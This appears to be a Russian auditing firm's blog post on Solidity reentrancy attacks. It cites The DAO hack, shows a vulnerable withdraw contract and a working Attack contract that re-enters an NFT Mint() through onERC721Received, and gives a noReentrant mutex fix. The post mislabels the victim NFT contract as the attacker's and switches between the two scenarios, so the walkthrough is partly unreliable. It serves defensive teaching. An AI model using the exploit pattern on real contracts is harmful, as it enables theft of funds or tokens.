Блог

Как избежать атак реентерабельности

Атака Reentrancy в Solidity заключается в использовании вредоносного смарт-контракта для вызова функции оригинального контракта. Когда контракт не обновляет свое состояние перед отправкой средств, злоумышленник может постоянно вызывать функцию withdraw () для перевода средств в контракт, пока тот не исчерпается.
Наиболее известным случаем является атака The DAO в 2016 году. Из-за ошибки вызова рекурсивной функции в коде средства были заблокированы в смарт-контракте, уязвимом для атак реентерабельности, и 3,6 миллиона эфиров были потеряны после взлома.

В феврале 2022 года репортер журнала Лаура с помощью новых криминалистических инструментов нашла виновника инцидента, 36-летнего австрийского программиста Тоби Хоениша, но Хоениш отверг обвинения.

Пример уязвимого контракта

Вредоносный хакер может продолжить перевод средств при вызове функции withdraw(), даже если токены уже получены. Это происходит потому, что контракт еще не обновил свое состояние.

Рассмотрим смарт-контракт с уязвимостью:
//SPDX-License-Identifier:MIT
pragma solidity >=0.7.0 <0.9.0;

contract DepositFunds {
   mapping(address => uint) public balances;
   bool internal locked;
  
   function deposit() public payable {
       balances[msg.sender] += msg.value;
   }

   function withdraw() public {
       uint bal = balances[msg.sender];
      
       require(bal > 0);
       (bool sent, ) = msg.sender.call{value: bal}("");
       require(sent, "Failed to send Ether");
       balances[msg.sender] = 0;
   }
}
Затем создайте атакующий контракт для вызова функции withdraw(); после передачи условного выражения сработает функция receive(). В результате атака будет продолжаться до тех пор, пока баланс не достигнет нуля.

Контракт атакующего будет выглядеть следующим образом:
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract MyERC721 is ERC721 {
    constructor() ERC721("Test721", "Test721") {}
    uint256 public tokenId;
    mapping(address => bool) public canMint;
    
    //mint token
    function Mint() external returns (uint256) {
        require(!canMint[msg.sender], "mint before");
        tokenId++;
        _safeMint(msg.sender, tokenId);
        canMint[msg.sender] = true;
        return tokenId;
    }
}

Затем хакер вызовет оригинальный контракт, чтобы использовать функцию attack() для запуска функции onERC721Received(), обойти проверку счетчика майнинга и сгенерировать несколько токенов за один раз:
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
interface Target {
    function Mint() external payable;
}
contract Attack {
    Target public target;
    uint256 count = 1;
    constructor(address _target) {
        target = Target(_target);
    }
    function attack() public payable {
        target.Mint();
    }
    function onERC721Received(address operator,address from,uint256 tokenId,bytes calldata data) external returns (bytes4) {
        if (count < 5) {
            count++;
            target.Mint();
        }
        return type(IERC721Receiver).interfaceId;
    }
}

Как же избежать атак реентерабельности?

Решение заключается в том, чтобы добавить модификатор noReentrant() извне для защиты. Добавьте к нему булеву блокировку, установите начальное состояние блокировки в false, измените его на true перед выполнением контрактом функции withdraw() и восстановите состояние в false после завершения. Аналогичным образом контракт майнинга NFT также может использовать булеву блокировку для защиты функции перед обновлением состояния пользователя.
bool internal locked;
modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }

Заключение

Взломы DAO и Cream Finance подверглись атаке реентерабельности из-за уязвимостей смарт-контрактов. В связи с этим аудит смарт-контрактов стал очень важной частью, и как только смарт-контракт развернут в цепочке, он не может быть изменен. Поэтому мы настоятельно рекомендуем команде проекта провести несколько аудитов безопасности перед выпуском кода, иначе в будущем это может привести к невосполнимым потерям.

Если вы ищете профессионального аудитора, смело обращайтесь к нашим техническим специалистам.
Блокчейн и NFT